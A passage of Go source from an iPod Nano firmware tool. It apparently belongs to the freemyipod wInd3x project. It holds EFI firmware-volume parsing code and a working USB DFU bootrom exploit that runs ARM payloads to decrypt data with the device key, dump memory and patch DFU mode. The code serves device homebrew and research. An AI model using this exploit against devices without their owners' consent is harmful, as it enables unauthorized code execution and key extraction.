!= l { panic("invalid format") } v, err := hex.DecodeString(parts[i]) if err != nil { panic("inavlid format") } vs[i] = v } a := vs[0] b := vs[1] c := vs[2] d := vs[3] e := vs[4] return [16]byte{ a[3], a[2], a[1], a[0], b[1], b[0], c[1], c[0], d[0], d[1], e[0], e[1], e[2], e[3], e[4], e[5], } } // NestedReader is a io.Reader which implements carving out a subelement of // itself into another io.Reader. It also allows keeping track of the position // of a reader within the original backing data. type NestedReader struct { parent *NestedReader data []byte pos int start int } func (r *NestedReader) Read(out []byte) (int, error) { left := len(r.data) - r.pos if left <= 0 { return 0, io.EOF } if len(out) < left { left = len(out) } copy(out, r.data[r.pos:r.pos+left]) r.pos += left return left, nil } func (r *NestedReader) Advance(count int) { left := len(r.data) - r.pos if left < count { count = left } r.pos += count } func (r *NestedReader) TellGlobal() int { return r.pos + r.start } func (r *NestedReader) Sub(start, length int) *NestedReader { return &NestedReader{ parent: r, data: r.data[r.pos+start : r.pos+start+length], pos: 0, start: r.start + r.pos + start, } } func (r *NestedReader) Len() int { return len(r.data) - r.pos } func NewNestedReader(underlying []byte) *NestedReader { return &NestedReader{ parent: nil, data: underlying, pos: 0, start: 0, } } // Uint24 as per EFI. type Uint24 [3]uint8 func ToUint24(s uint32) Uint24 { if s > 0xffffff { panic("too large") } return [3]uint8{uint8(s & 0xff), uint8((s >> 8) & 0xff), uint8((s >> 16) & 0xff)} } func (s Uint24) Uint32() uint32 { return (uint32(s[2]) << 16) | (uint32(s[1]) << 8) | uint32(s[0]) } // checksum16 is the 16-bit checksum as used in some EFI headers. It calculates // the value necessary to make the given data sum to 0 when interpreted as an // array of 16-bit integers. func checksum16(data []byte) uint16 { if len(data)%2 != 0 { panic("cannot checksum non-16-bit-chunked data") } checkNums := make([]uint16, len(data)/2) binary.Read(bytes.NewBuffer(data), binary.LittleEndian, checkNums) sum := uint16(0) for _, n := range checkNums { sum += n } return (sum ^ 0xffff) + 1 } // checksum8 is the 16-bit checksum as used in some EFI headers. It calculates // the value necessary to make the given data sum to 0 when interpreted as an // array of 8-bit integers. func checksum8(data []byte) uint8 { checkNums := make([]uint8, len(data)) binary.Read(bytes.NewBuffer(data), binary.LittleEndian, checkNums) sum := uint8(0) for _, n := range checkNums { sum += n } return (sum ^ 0xff) + 1 } ================================================ FILE: pkg/efi/file.go ================================================ package efi import ( "bytes" "encoding/binary" "fmt" "log/slog" ) // FirmwareFileHeader as per EFI standard. type FirmwareFileHeader struct { GUID GUID // ChecksumHeader is recalculated when Serialize is called. ChecksumHeader uint8 // ChecksumData is recalculated when Serialize is called. ChecksumData uint8 FileType FileType Attributes uint8 // Size is recalculated when Serialize is called. Size Uint24 State uint8 } type FileType uint8 const ( FileTypeSecurityCore FileType = 3 FileTypePEICore FileType = 4 FileTypeDXECore FileType = 5 FileTypeDriver FileType = 7 FileTypeApplication FileType = 9 FileTypePadding FileType = 240 ) func (f FileType) String() string { switch f { case FileTypeSecurityCore: return "security core" case FileTypePEICore: return "pei core" case FileTypeDXECore: return "dxe core" case FileTypeDriver: return "driver" case FileTypeApplication: return "application" case FileTypePadding: return "padding" default: return fmt.Sprintf("UNKNOWN(%d)", f) } } // FirmwareFile represents an EFI Firmware File within a Firmware Volume. type FirmwareFile struct { FirmwareFileHeader Sections []Section // ReadOffset is the offset within the volume at which the file has been // encountered. ReadOffset int } func (f *FirmwareFile) Serialize() ([]byte, error) { var data []byte var err error if f.FileType == FileTypePadding { data = bytes.Repeat([]byte{0xff}, int(f.Size.Uint32()-0x18)) } else { data, err = concatSections(f.Sections) if err != nil { return nil, fmt.Errorf("could not serialize sections: %w", err) } } f.Size = ToUint24(uint32(len(data)) + 0x18) f.ChecksumHeader = 0 f.ChecksumData = 0 state := f.State f.State = 0 checkBuf := bytes.NewBuffer(nil) binary.Write(checkBuf, binary.LittleEndian, f.FirmwareFileHeader) f.ChecksumHeader = checksum8(checkBuf.Bytes()) if (f.Attributes & 0x40) != 0 { f.ChecksumData = checksum8(data) } else { f.ChecksumData = 0xaa } f.State = state buf := bytes.NewBuffer(nil) if err := binary.Write(buf, binary.LittleEndian, f.FirmwareFileHeader); err != nil { return nil, err } if _, err := buf.Write(data); err != nil { panic(err) } return buf.Bytes(), nil } func readFile(r *NestedReader) (*FirmwareFile, error) { start := r.TellGlobal() var header FirmwareFileHeader peek := r.pos if err := binary.Read(r, binary.LittleEndian, &header); err != nil { return nil, fmt.Errorf("reading header failed: %w", err) } if header.GUID.String() == "ffffffff-ffff-ffff-ffff-ffffffffffff" { r.pos = peek return nil, nil } slog.Debug("File header", "start", start, "header", header) size := header.Size.Uint32() dataSub := r.Sub(0, int(size-0x18)) r.Advance(int(size - 0x18)) alignment := (size - 0x18) % 8 if alignment != 0 { r.Advance(int(8 - alignment)) } var sections []Section if header.FileType != FileTypePadding { var err error sections, err = readSections(dataSub) if err != nil { return nil, err } } // TODO: checksum return &FirmwareFile{ FirmwareFileHeader: header, Sections: sections, ReadOffset: start, }, nil } ================================================ FILE: pkg/efi/sections.go ================================================ package efi import ( "bytes" "encoding/binary" "encoding/hex" "fmt" "hash/crc32" "io" "log/slog" "github.com/freemyipod/wInd3x/pkg/efi/compression" "github.com/ulikunitz/xz/lzma" ) type SectionType uint8 const ( SectionTypeCompression SectionType = 1 SectionTypeGUIDDefined SectionType = 2 SectionTypePE32 SectionType = 16 SectionTypeTE SectionType = 18 SectionTypeDXEDEPEX SectionType = 19 SectionTypeVersion SectionType = 20 SectionTypeUserInterface SectionType = 21 SectionTypeFirmwareVolumeImage SectionType = 23 SectionTypeRaw SectionType = 25 ) func (s SectionType) String() string { switch s { case SectionTypeCompression: return "compression" case SectionTypeGUIDDefined: return "guid" case SectionTypePE32: return "pe32" case SectionTypeTE: return "te" case SectionTypeDXEDEPEX: return "depex" case SectionTypeVersion: return "version" case SectionTypeUserInterface: return "ui" case SectionTypeFirmwareVolumeImage: return "firmware volume image" case SectionTypeRaw: return "raw" default: return fmt.Sprintf("UNKNOWN(%d)", s) } } type SectionOrFile struct { Section Section File *FirmwareFile } // Section is the interface implemented by all EFI Firmware Volume File // Sections. type Section interface { // Header returns the common header of this section. Header() *commonSectionHeader // Sub returns all Sections nested within this section, if applicable. Sub() []SectionOrFile // Serialize serializes this section into a binary. Serialize() ([]byte, error) // Raw returns the inner data within this section, if this section is a // PE32/TE/DXE/Raw section. Raw() []byte // SetRaw overrides the inner data within this section, if this section is // a PE32/TE/DXE/Raw section. SetRaw([]byte) } func readSections(r *NestedReader) ([]Section, error) { var res []Section for r.Len() != 0 { p1 := r.TellGlobal() section, err := readSection(r) if err != nil { return nil, fmt.Errorf("section %d: %w", len(res), err) } p2 := r.TellGlobal() read := p2 - p1 if read%4 != 0 && r.Len() != 0 { align := 4 - (read % 4) r.Advance(align) } res = append(res, section) } return res, nil } type commonSectionHeader struct { Size Uint24 Type SectionType } func (c *commonSectionHeader) Header() *commonSectionHeader { return c } func (c *commonSectionHeader) Raw() []byte { return nil } func (c *commonSectionHeader) SetRaw([]byte) { } type compressionSection struct { commonSectionHeader extra struct { UncompressedLength uint32 CompressionType uint8 } sub []Section } func (c *compressionSection) Sub() []SectionOrFile { res := make([]SectionOrFile, 0, len(c.sub)) for _, s := range c.sub { res = append(res, SectionOrFile{Section: s}) } return res } func concatSections(sub []Section) ([]byte, error) { var res []byte if len(sub) == 0 { return nil, fmt.Errorf("no sections") } for i, section := range sub { data, err := section.Serialize() if err != nil { return nil, fmt.Errorf("sub %d: %w", i, err) } if len(data)%4 != 0 && (i != len(sub)-1) { data = append(data, bytes.Repeat([]byte{0x00}, 4-(len(data)%4))...) } res = append(res, data...) } return res, nil } func (c *compressionSection) Serialize() ([]byte, error) { uncompressed, err := concatSections(c.sub) if err != nil { return nil, err } c.extra.UncompressedLength = uint32(len(uncompressed)) compressed, err := compression.Compression.Compress(uncompressed) if err != nil { return nil, fmt.Errorf("compression failed: %w", err) } c.commonSectionHeader.Size = ToUint24(uint32(4 + 5 + len(compressed))) buf := bytes.NewBuffer(nil) if err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil { return nil, err } if err := binary.Write(buf, binary.LittleEndian, c.extra); err != nil { return nil, err } if err := binary.Write(buf, binary.LittleEndian, compressed); err != nil { return nil, err } return buf.Bytes(), nil } type guidSection struct { commonSectionHeader extra struct { SectionDefinitionGUID GUID DataOffset uint16 Attributes uint16 } custom []byte sub []Section } func (c *guidSection) Sub() []SectionOrFile { res := make([]SectionOrFile, 0, len(c.sub)) for _, s := range c.sub { res = append(res, SectionOrFile{Section: s}) } return res } func (c *guidSection) Serialize() ([]byte, error) { data, err := concatSections(c.sub) if err != nil { return nil, err } if (c.extra.Attributes & 1) != 0 { switch c.extra.SectionDefinitionGUID.String() { case "ee4e5898-3914-4259-9d6e-dc7bd79403cf": // LZMA compressed wbuf := bytes.NewBuffer(nil) wrc := lzma.WriterConfig{ SizeInHeader: true, Size: int64(len(data)), BufSize: 1 << 15, DictCap: 16 << 20, //EOSMarker: true, } w, err := wrc.NewWriter(wbuf) if err != nil { return nil, fmt.Errorf("could not open LZMA section: %w", err) } slog.Debug(" LZMA compressing", "len", len(data)) if _, err := w.Write(data); err != nil { return nil, fmt.Errorf("could not compress LZMA section: %w", err) } if err := w.Close(); err != nil { return nil, fmt.Errorf("could not close LZMA section: %w", err) } data = wbuf.Bytes() default: return nil, fmt.Errorf("need to process unknown GUID %s", c.extra.SectionDefinitionGUID.String()) } } c.commonSectionHeader.Size = ToUint24(uint32(4 + 20 + len(c.custom) + len(data))) if c.extra.SectionDefinitionGUID.String() == "fc1bcdb0-7d31-49aa-936a-a4600d9dd083" { // Rebuild CRC32 checksum. h := crc32.NewIEEE() h.Write(data) buf := bytes.NewBuffer(nil) binary.Write(buf, binary.LittleEndian, h.Sum32()) c.custom = buf.Bytes() } buf := bytes.NewBuffer(nil) if err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil { return nil, err } if err := binary.Write(buf, binary.LittleEndian, c.extra); err != nil { return nil, err } //pad := make([]byte, c.extra.DataOffset-24) if err := binary.Write(buf, binary.LittleEndian, c.custom); err != nil { return nil, err } if err := binary.Write(buf, binary.LittleEndian, data); err != nil { return nil, err } return buf.Bytes(), nil } type leafSection struct { commonSectionHeader data []byte } func (c *leafSection) Sub() []SectionOrFile { return nil } func (c *leafSection) Serialize() ([]byte, error) { c.commonSectionHeader.Size = ToUint24(uint32(4 + len(c.data))) buf := bytes.NewBuffer(nil) if err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil { return nil, err } if err := binary.Write(buf, binary.LittleEndian, c.data); err != nil { return nil, err } return buf.Bytes(), nil } func (c *leafSection) Raw() []byte { res := make([]byte, len(c.data)) copy(res, c.data) return res } func (c *leafSection) SetRaw(d []byte) { res := make([]byte, len(d)) copy(res, d) c.data = res } type NestedImageSection struct { commonSectionHeader Vol *Volume } func (c *NestedImageSection) Sub() []SectionOrFile { var res []SectionOrFile for _, f := range c.Vol.Files { res = append(res, SectionOrFile{File: f}) for _, s := range f.Sections { res = append(res, SectionOrFile{Section: s}) } } return res } func (c *NestedImageSection) Serialize() ([]byte, error) { compressed, err := c.Vol.Serialize() if err != nil { return nil, err } c.commonSectionHeader.Size = ToUint24(uint32(4 + len(compressed))) buf := bytes.NewBuffer(nil) if err := binary.Write(buf, binary.LittleEndian, c.commonSectionHeader); err != nil { return nil, err } if err := binary.Write(buf, binary.LittleEndian, compressed); err != nil { return nil, err } return buf.Bytes(), nil } func (c *NestedImageSection) Raw() []byte { return nil } func (c *NestedImageSection) SetRaw(d []byte) { return } func readSection(r *NestedReader) (Section, error) { var header commonSectionHeader start := r.TellGlobal() if err := binary.Read(r, binary.LittleEndian, &header); err != nil { return nil, err } slog.Debug("Section header", "start", start, "header", header) switch header.Type { case SectionTypeCompression: var res compressionSection res.commonSectionHeader = header if err := binary.Read(r, binary.LittleEndian, &res.extra); err != nil { return nil, err } data := make([]byte, header.Size.Uint32()-(4+5)) if _, err := io.ReadFull(r, data); err != nil { return nil, fmt.Errorf("reading compression data: %w", err) } if res.extra.CompressionType != 1 { return nil, fmt.Errorf("unsupported compression type %d", res.extra.CompressionType) } decompressed, err := compression.Compression.Decompress(data) if err != nil { return nil, fmt.Errorf("decompression failed: %w", err) } t, err := compression.Compression.Compress(decompressed) if err != nil || len(t) != len(data) { slog.Error("Loopback compression failed", "first", len(data), "second", len(t)) } decompressed = decompressed[:res.extra.UncompressedLength] //fmt.Println(hex.Dump(decompressed)) sub, err := readSections(NewNestedReader(decompressed)) if err != nil { return nil, fmt.Errorf("parsing compression subsections: %w", err) } res.sub = sub return &res, nil case SectionTypeGUIDDefined: var res guidSection res.commonSectionHeader = header if err := binary.Read(r, binary.LittleEndian, &res.extra); err != nil { return nil, err } slog.Debug("guiddefined", "guid", res.extra.SectionDefinitionGUID.String(), "doffs", res.extra.DataOffset, "attrs", res.extra.Attributes) customLength := int(res.extra.DataOffset - (4 + 20)) slog.Debug("guiddefined", "customlen", customLength) custom := make([]byte, customLength) r.Read(custom) res.custom = custom if customLength != 0 { slog.Debug("guiddefined", " custom", hex.EncodeToString(res.custom)) } dataLength := int(header.Size.Uint32()-(4+20)) - customLength dataSub := r.Sub(0, dataLength) r.Advance(dataLength) if (res.extra.Attributes & 1) != 0 { slog.Debug(" needs processing") switch res.extra.SectionDefinitionGUID.String() { case "ee4e5898-3914-4259-9d6e-dc7bd79403cf": // LZMA compressed slog.Debug(" LZMA compressed") data, _ := io.ReadAll(dataSub) l, err := lzma.NewReader(bytes.NewBuffer(data)) if err != nil { return nil, fmt.Errorf("could not open LZMA section: %w", err) } un, err := io.ReadAll(l) if err != nil { return nil, fmt.Errorf("could not decompress LZMA section: %w", err) } dataSub = NewNestedReader(un) default: return nil, fmt.Errorf("need to process unknown GUID %s", res.extra.SectionDefinitionGUID.String()) } } sub, err := readSections(dataSub) if err != nil { return nil, fmt.Errorf("parsing guid defined subsections: %w", err) } res.sub = sub return &res, nil case SectionTypePE32, SectionTypeTE, SectionTypeRaw, SectionTypeDXEDEPEX, SectionTypeUserInterface, SectionTypeVersion: data := make([]byte, header.Size.Uint32()-(4)) if _, err := io.ReadFull(r, data); err != nil { return nil, fmt.Errorf("reading data: %w", err) } return &leafSection{ commonSectionHeader: header, data: data, }, nil case SectionTypeFirmwareVolumeImage: slog.Debug(" nested firmware image volume") sub := r.Sub(0, int(header.Size.Uint32())) r.Advance(sub.Len()) vol, err := ReadVolume(sub) if err != nil { return nil, fmt.Errorf("reading nested image: %w", err) } return &NestedImageSection{ commonSectionHeader: header, Vol: vol, }, nil } return nil, fmt.Errorf("unimplemented section type %s", header.Type) } ================================================ FILE: pkg/efi/volume.go ================================================ package efi import ( "bytes" "encoding/binary" "encoding/hex" "fmt" "io" "log/slog" ) // FirmwareVolumeHeader as per EFI spec. type FirmwareVolumeHeader struct { Reserved [16]byte GUID GUID // Length is recalculated when Serialize is called. Length uint64 Signature [4]byte AttributeMask uint32 HeaderLength uint16 // Checksum is recalculated when Serialize is called. Checksum uint16 ExtHeaderOffset uint16 Reserved2 uint8 Revision uint8 } func (h *FirmwareVolumeHeader) check() error { ffs1 := "7a9354d9-0468-444a-81ce-0bf617d890df" ffs2 := "8c8ce578-8a3d-4f1c-9935-896185c32dd3" if h.GUID.String() != ffs1 && h.GUID.String() != ffs2 { return fmt.Errorf("unknown GUID (%s)", h.GUID.String()) } if !bytes.Equal(h.Signature[:], []byte("_FVH")) { return fmt.Errorf("invalid signature") } if h.HeaderLength < (0x38 + 8) { return fmt.Errorf("header length too small") } return nil } // Volume is an EFI Firmware Volume. It contains an array of Files, all of // which contain recursively nested Sections. type Volume struct { FirmwareVolumeHeader Files []*FirmwareFile // Custom is trailing data at the end of the Volume. Custom []byte MinSize int } type blockmap struct { BlockCount uint32 BlockSize uint32 } // Parse an EFI Firmware Volume from a NestedReader. After parsing, all files // and sections within them will be available. These can then be arbitrarily // modified, and Serialize can be called on the resulting Volume to rebuild a // binary. func ReadVolume(r *NestedReader) (*Volume, error) { var header FirmwareVolumeHeader if err := binary.Read(r, binary.LittleEndian, &header); err != nil { return nil, fmt.Errorf("reading volume header failed: %w", err) } if err := header.check(); err != nil { return nil, fmt.Errorf("volume header invalid: %w", err) } blockmapSize := header.HeaderLength - 0x38 if blockmapSize%8 != 0 { return nil, fmt.Errorf("blockmap size not a multiple of 8") } bmapCount := blockmapSize / 8 var bmap []blockmap for i := 0; i < int(bmapCount); i++ { var entry blockmap if err := binary.Read(r, binary.LittleEndian, &entry); err != nil { return nil, fmt.Errorf("volume read failed: %w", err) } bmap = append(bmap, entry) } last := bmap[len(bmap)-1] if last.BlockCount != 0 || last.BlockSize != 0 { return nil, fmt.Errorf("blockmap does not end in (0, 0)") } if len(bmap) != 2 { return nil, fmt.Errorf("unsupported count of blockmaps (%d, wanted 2)", len(bmap)) } slog.Debug("Blockmap", "bmap", bmap) dataSize := bmap[0].BlockCount * bmap[0].BlockSize slog.Debug("reader", "size", r.Len()+r.pos) slog.Debug("reader", "length", header.Length) slog.Debug("reader", "block_count_size", dataSize) restSize := (r.Len() + r.pos) - int(dataSize) slog.Debug("reader", "rest_size", restSize) var files []*FirmwareFile for r.Len() != 0 { slog.Debug("Reading file", "files", len(files), "left", r.Len()) if r.Len() <= 16 { // HACK Needed for N5G. break } file, err := readFile(r) if err != nil { return nil, fmt.Errorf("reading file %d failed: %v", len(files), err) } if file == nil { break } files = append(files, file) } slog.Debug("Reading done", "files", len(files), "left", r.Len()) paddingLen := r.Len() - restSize slog.Debug("padding", "len", paddingLen) padding := make([]byte, paddingLen) r.Read(padding) if !bytes.Equal(padding, bytes.Repeat([]byte{0xff}, paddingLen)) { return nil, fmt.Errorf("padding is not all 0xFF") } rest, err := io.ReadAll(r) if err != nil { return nil, fmt.Errorf("reading rest failed: %v", err) } slog.Debug("rest", "len", len(rest)) slog.Debug("rest", "data", hex.Dump(rest)) return &Volume{ FirmwareVolumeHeader: header, Files: files, Custom: rest, MinSize: int(dataSize), }, nil } func (v *Volume) Serialize() ([]byte, error) { // First, serialize all files apart from used padding file so that we know // how much data we're dealing with here. filesSize := 0 fileData := make(map[int][]byte) for i, f := range v.Files { data, err := f.Serialize() if err != nil { return nil, fmt.Errorf("file %d: %w", i, err) } // Align all files to 8 bytes. I think generally we should align the // content to start at 16 bytes, with the header being an odd multiple // of 8, but this works for now? if len(data)%8 != 0 { pad := 8 - (len(data) % 8) data = append(data, bytes.Repeat([]byte{0xff}, pad)...) } fileData[i] = data filesSize += len(data) } // Now that we have a size, make a blockmap. totalSize := filesSize + 0x38 + 0x10 if totalSize < v.MinSize { totalSize = v.MinSize } if totalSize%256 != 0 { totalSize += 256 - (totalSize % 256) } nblocks := uint32(totalSize / 256) bmap := []blockmap{ {BlockCount: nblocks, BlockSize: 256}, {BlockCount: 0, BlockSize: 0}, } // Do final serialization pass into buffer. buf := bytes.NewBuffer(nil) // Header size. v.Length = 0 // Blockmap size. v.HeaderLength = uint16(0x38 + 8*len(bmap)) // Data size. v.Length += uint64(totalSize) v.ExtHeaderOffset = 0 // TODO Reserved2/Revision? v.Checksum = 0 checkBuf := bytes.NewBuffer(nil) binary.Write(checkBuf, binary.LittleEndian, v.FirmwareVolumeHeader) binary.Write(checkBuf, binary.LittleEndian, bmap) v.Checksum = checksum16(checkBuf.Bytes()) if err := binary.Write(buf, binary.LittleEndian, v.FirmwareVolumeHeader); err != nil { // Shouldn't happen. panic(err) } if err := binary.Write(buf, binary.LittleEndian, bmap); err != nil { // Shouldn't happen. panic(err) } for i, f := range v.Files { if data, ok := fileData[i]; ok { if _, err := buf.Write(data); err != nil { // Shouldn't happen. panic(err) } } else { // Padding file. data, err := f.Serialize() if err != nil { // Shouldn't happen. panic(err) } if _, err := buf.Write(data); err != nil { // Shouldn't happen. panic(err) } } } buf.Write(bytes.Repeat([]byte{0xff}, totalSize-buf.Len())) buf.Write(v.Custom) return buf.Bytes(), nil } ================================================ FILE: pkg/exploit/decrypt/decrypt.go ================================================ package decrypt import ( "bytes" "fmt" "io" "log/slog" "os" "time" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/exploit" "github.com/freemyipod/wInd3x/pkg/uasm" ) // Payload creates a payload which decrypts 0x40 bytes from the DFU // buffer into the DFU buffer using a zero IV and the Global key. // // Note: If using CBC, this means the first block will be junk. // // TODO(q3k): fix this by allowing to specify any IV. Didn't have luck // reconstructing CBC this way so far, though... func Payload(ep exploit.Parameters) ([]byte, error) { insns := ep.DisableICache() insns = append(insns, ep.AESCall()...) insns = append(insns, ep.HandlerFooter(ep.DFUBufAddr())...) payload := uasm.Program{ Address: ep.ExecAddr(), Listing: insns, } return payload.Assemble(), nil } func Trigger(usb devices.Usb, ep exploit.Parameters, data []byte) ([]byte, error) { if err := dfu.Clean(usb); err != nil { return nil, fmt.Errorf("clean failed: %w", err) } payload, err := Payload(ep) if err != nil { return nil, fmt.Errorf("failed to generate payload: %w", err) } dataCopy := make([]byte, 0x40) copy(dataCopy, data) res, err := exploit.RCE(usb, ep, payload, dataCopy) if err != nil { return nil, fmt.Errorf("failed to execute decrypt payload: %w", err) } return res, nil } type Option struct { Progress func(float32) } func Decrypt(app *app.App, in []byte, recoveryPath string, options ...Option) ([]byte, error) { slog.Info("Decrypting ...", "len", len(in)) w := bytes.NewBuffer(nil) var progress func(float32) = nil for _, opt := range options { if opt.Progress != nil { progress = opt.Progress } } // Create a temporary file that we can use to continue decryption from // after restarting the program. var recovery io.WriteCloser if recoveryPath != "" { st, err := os.Stat(recoveryPath) if err == nil { slog.Info("Using recovery buffer...", "path", recoveryPath) sz := st.Size() if (sz % 0x30) != 0 { return nil, fmt.Errorf("recovery buffer invalid size (%x)", sz) } f, err := os.Open(recoveryPath) if err != nil { return nil, fmt.Errorf("could not open recovery buffer: %w", err) } if _, err := io.Copy(w, f); err != nil { return nil, fmt.Errorf("could not read recovery buffer: %w", err) } f.Close() } else if os.IsNotExist(err) { slog.Info("Creating recovery buffer...", "path", recoveryPath) } else { // This happens on the WASM port, quick hack to work around it... slog.Error("Could not access recovery buffer", "error", err) goto no_recovery } recovery, err = os.OpenFile(recoveryPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { return nil, fmt.Errorf("could not open recovery buffer for append: %w", err) } } no_recovery: ix := w.Len() for { if (ix % 0x300) == 0 { if progress != nil { progress(float32(ix) / float32(len(in))) } else { slog.Info("Decrypting", "ix", ix, "percent", float64(ix*100)/float64(len(in))) } } // Get plaintext block, pad to 0x30. ixe := ix + 0x30 if ixe > len(in) { ixe = len(in) } b := in[ix:ixe] b = append(b, bytes.Repeat([]byte{0}, 0x30-len(b))...) tries := 10 var res []byte for { data := make([]byte, 0x40) // We need to feed the previous 0x10 bytes of ciphertext for... // some reason. Unless we're the first block. if ix == 0 { copy(data[:0x30], b) } else { copy(data[:0x10], in[ix-0x10:ix]) copy(data[0x10:0x40], b) } var err error res, err = Trigger(app.Usb, app.Ep, data) if err == nil { break } if tries < 1 { return nil, fmt.Errorf("decryption failed, and out of retries: %w", err) } else { slog.Info("Decryption failed, retrying...", "err", err) time.Sleep(100 * time.Millisecond) tries -= 1 } } plaintext := res[0x10:0x40] if ix == 0 { plaintext = res[0x00:0x30] } if recovery != nil { if _, err := recovery.Write(plaintext); err != nil { return nil, fmt.Errorf("write to recovery failed: %w", err) } } if _, err := w.Write(plaintext); err != nil { return nil, fmt.Errorf("write failed: %w", err) } ix += 0x30 if ix >= len(in) { break } } return w.Bytes(), nil } ================================================ FILE: pkg/exploit/dumpmem/dumpmem.go ================================================ package dumpmem import ( "fmt" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/exploit" "github.com/freemyipod/wInd3x/pkg/uasm" ) func Trigger(usb devices.Usb, ep exploit.Parameters, addr uint32) ([]byte, error) { if err := dfu.Clean(usb); err != nil { return nil, fmt.Errorf("clean failed: %w", err) } insns := ep.DisableICache() insns = append(insns, ep.HandlerFooter(addr)...) payload := uasm.Program{ Address: ep.ExecAddr(), Listing: insns, } return exploit.RCE(usb, ep, payload.Assemble(), nil) } ================================================ FILE: pkg/exploit/exploit.go ================================================ package exploit import ( "bytes" "fmt" "time" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/uasm" ) type Parameters interface { // Prepare runs any code required to run the main exploit. This is needed // for chaining from S5Late on N6G/N7G. Prepare(usb devices.Usb) error // Address of the DFU data buffer. DFUBufAddr() uint32 // Address at which payload begins execution, within the DFU data buffer, // as jumped into by the SetupPacket. ExecAddr() uint32 // Address of the USB DMA buffer, ie. the SETUP packet currently being // processed. USBBufAddr() uint32 // Address of trampoline in bootrom, jumped to by handler. TrampolineAddr() uint16 // Setup packet to be sent. This must also be valid ARM code, as it happens // to be executed. SetupPacket() []byte HandlerFooter(addr uint32) []uasm.Statement AESCall() []uasm.Statement HaxedDFUPayload() []uasm.Statement DisableICache() []uasm.Statement NANDInit(bank uint32) ([]uasm.Statement, error) NANDReadPage(bank, page, offset uint32) ([]uasm.Statement, uint32) // Read JEDEC identifer from currently selected bank NANDIdentify() ([]uasm.Statement, uint32) NORInit(spino uint32) ([]uasm.Statement, error) NORRead(spino uint32, offset uint32) ([]uasm.Statement, uint32) } func ldrOrMov(r uasm.Register, val uint32) uasm.Statement { // This could probably be higher, but I've had some issues with this. // TODO: verify against ARM spec. if val >= 1<<8 { return uasm.Ldr{Dest: r, Src: uasm.Constant(val)} } return uasm.Mov{Dest: r, Src: uasm.Immediate(val)} } func makeCall(addr uint32, params ...uint32) []uasm.Statement { var stackParams []uint32 if len(params) > 4 { stackParams = params[4:] } var res []uasm.Statement if len(params) > 4 { // Make space on stack. stackFrame := len(stackParams) * 4 res = append(res, uasm.Sub{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(stackFrame)}, ) // Set stack params. for i := len(stackParams) - 1; i >= 0; i-- { offs := 4 * uint16(i) res = append(res, ldrOrMov(uasm.R0, stackParams[i]), uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.SP, offs)}, ) } } // Set register params. for i := 0; i < 4; i++ { if i >= len(params) { break } res = append(res, ldrOrMov(uasm.Register(i), params[i]), ) } // Perform call. res = append(res, uasm.Ldr{Dest: uasm.LR, Src: uasm.Constant(addr)}, uasm.Blx{Dest: uasm.LR}, ) if len(params) > 4 { // Clean up stack. stackFrame := len(stackParams) * 4 res = append(res, uasm.Add{Dest: uasm.SP, Src: uasm.SP, Compl: uasm.Immediate(stackFrame)}, ) } return res } var ParametersForKind = map[devices.Kind]Parameters{ devices.Nano3: &epNano3G{}, devices.Nano4: newEPNano4G(), devices.Nano5: newEPNano5G(), devices.Nano7: S5LateParametersForKind[devices.Nano7], devices.Nano7Late: S5LateParametersForKind[devices.Nano7], } func RCE(usb devices.Usb, ep Parameters, payload, data []byte) ([]byte, error) { if err := usb.SetControlTimeout(time.Millisecond * 50); err != nil { return nil, err } prefixLen := int(ep.ExecAddr() - ep.DFUBufAddr()) if len(data) > prefixLen { return nil, fmt.Errorf("data too long") } pad := bytes.Repeat([]byte{'Z'}, prefixLen-len(data)) data = append(data, pad...) payload = append(data, payload...) // Upload payload into DFU buffer, and reset status afterwards. if len(payload) > 0x400 { return nil, fmt.Errorf("payload too large (%d > %d)", len(payload), 0x400) } if err := dfu.SendChunk(usb, payload, 0); err != nil { return nil, fmt.Errorf("Upload: %w", err) } if err := dfu.Clean(usb); err != nil { return nil, fmt.Errorf("clean: %w", err) } buf := make([]byte, 0x40) if _, err := usb.Control(0xa1, uint8(dfu.RequestUpload), 0, 0, buf); err != nil { return nil, fmt.Errorf("first upload failed: %v", err) } if ep.TrampolineAddr() != 0 { // Start a download of X+0x40 bytes, this will only send 0x40 bytes // (for some reason large control transfers don't work?), causing a state // structure field to be set to X. // X = TrampolineAddr, which is 0x3b0 for Nano 4G and 0x37c for Nano 5G l := ep.TrampolineAddr() + 0x40 buf = make([]byte, l) _, err := usb.Control(0xa1, uint8(dfu.RequestUpload), 0, 0, buf) if want, got := devices.UsbTimeoutError, err; want != got { return nil, fmt.Errorf("upload trigger should have returned %v, got %v", want, got) } } // Trigger bug. This should get the payload executing. setup := ep.SetupPacket() bmRequestType := setup[0] bRequest := setup[1] wValue := uint16(setup[2]) | (uint16(setup[3]) << 8) wIndex := uint16(setup[4]) | (uint16(setup[5]) << 8) res := make([]byte, 0x40) _, err := usb.Control(bmRequestType, bRequest, wValue, wIndex, res) if err != nil { return nil, fmt.Errorf("bug trigger: %w", err) } return res, nil } ================================================ FILE: pkg/exploit/haxeddfu/haxeddfu.go ================================================ package haxeddfu import ( "fmt" "log/slog" "unicode/utf16" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/exploit" "github.com/freemyipod/wInd3x/pkg/uasm" ) const ProductString = "haxed dfu" func makeStringDescriptor(s string) []byte { descriptor := []byte{ 0, 0x03, } for _, cp := range utf16.Encode([]rune(s)) { descriptor = append(descriptor, uint8(cp&0xff), uint8(cp>>8)) } descriptor[0] = uint8(len(descriptor)) return descriptor } func Payload(ep exploit.Parameters) ([]byte, error) { descriptor := makeStringDescriptor(ProductString) insns := ep.DisableICache() insns = append(insns, ep.HaxedDFUPayload()...) insns = append(insns, ep.HandlerFooter(0x20000000)...) insns = append(insns, uasm.Label("descriptor"), uasm.Embed(descriptor), ) 